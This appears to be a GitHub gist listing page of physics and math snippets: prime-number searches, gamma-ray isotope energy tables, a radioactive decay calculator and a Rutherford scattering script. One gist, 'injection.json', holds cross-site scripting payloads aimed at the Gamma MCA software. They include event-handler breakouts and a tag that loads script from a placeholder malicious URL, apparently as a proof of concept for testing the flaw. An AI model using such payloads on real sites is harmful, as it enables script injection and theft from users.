Skip to content

Instantly share code, notes, and snippets.

View NuclearPhoenixx's full-sized avatar
✌️
Trying to be creative...

Matthias NuclearPhoenixx

✌️
Trying to be creative...
View GitHub Profile
@NuclearPhoenixx
NuclearPhoenixx / simple_root.cpp
Created June 12, 2023 20:14
Very simple algorithm to search for prime numbers by dividing a candidate by all primes smaller than the square root of the candidate itself.
/*
* Very simple algorithm to search for prime numbers by
* dividing a candidate by all primes smaller than
* the square root of the candidate itself.
*
* Written by Phoenix1747, 2018-11-25. Edit: 2020-11-10.
*/
#include <vector>
#include <iostream>
@NuclearPhoenixx
NuclearPhoenixx / sieve_root.cpp
Created June 12, 2023 20:14
Classic sieve of Eratosthenes algorithm that essentially eliminates multiples of a prime number bigger than the candidate itself while stepping through every non-eliminated number.
/*
* Classic Sieve of Eratosthenes algorithm to search primes.
*
* Written by Phoenix1747, 2020-11-10.
*/
#include <iostream>
#include <vector>
using namespace std;
@NuclearPhoenixx
NuclearPhoenixx / isotopes_energies_new.json
Created February 21, 2023 15:05
List of common gamma-ray emitting isotopes with the corresponding photon energies neatly grouped by isotope.
{
"U-238": [
110,
49.55
],
"Co-56": [
511,
846.75,
1037.86,
1238.29,
@NuclearPhoenixx
NuclearPhoenixx / injection.json
Last active April 10, 2022 15:23
Inject HTML into Gamma MCA
{
"110": "U-238",
"000": "INJECT\" onmouseover=\"alert('gotcha!');",
"001": "INJECT\" onchange=\"alert('gotcha!');",
"007": "\"><script src=\"MALICIOUS JS CODE URL\"></script><input id=\""
}
@NuclearPhoenixx
NuclearPhoenixx / bw-radio-decay.cpp
Created December 14, 2021 13:23
Bethe-Weizsäcker - Radioactive Decay
// Bethe-Weizsäcker Radioactive Decay
#include <iostream>
#include <cmath>
using namespace std;
const long double M_PROTON = 1.67262192369e-27; // kg
const long double M_NEUTRON = 1.67492749804e-27; // kg
const long double M_ELECTRON = 9.1093837015e-31; // kg
@NuclearPhoenixx
NuclearPhoenixx / isotopes_energies.json
Last active November 28, 2021 16:20
Most common isotope gamma energies formatted as json.
{
"110": "U-238",
"511": "Co-56",
"670": "I-132",
"996": "Eu-154",
"209.264": "Ac-228",
"270.272": "Ac-228",
"328.05": "Ac-228",
"338.37": "Ac-228",
"463.073": "Ac-228",
@NuclearPhoenixx
NuclearPhoenixx / gamma_energies.csv
Last active November 10, 2021 14:28
Gamma-Ray Energies CSV
Gamma Energy (KeV) Nuclide Half-Life Percent Yield per decay
8 Er-169 9.4 days 0.3
22 Sm-151 87 years 4
24 Sn-199m 250 days 16
30 Ba-140 12.8 days 11
31 Mg-28 21 hours 96
35 I-125 60 days 7
35 Te-125m 58 days 7
37 Br-80m 4.38 hours 36
40 Rh-103m 57 minutes 0.4
@NuclearPhoenixx
NuclearPhoenixx / scattering.gd
Last active October 23, 2019 22:05
Godot script for simple coulomb (Rutherford) scattering
extends Control
var ec = 1.602176634/1e19 #elementary charge [C]
var amu = 1.66053906660/1e27 #atomic mass unit [kg]
var vprmtvty = 8.8541878128/1e12 #Vacuum permittivity [F/m]
var scale_m = 1e15 #scale multiplier
var time_m = 1e21 #time divider
var m0 = 1 * amu #Proton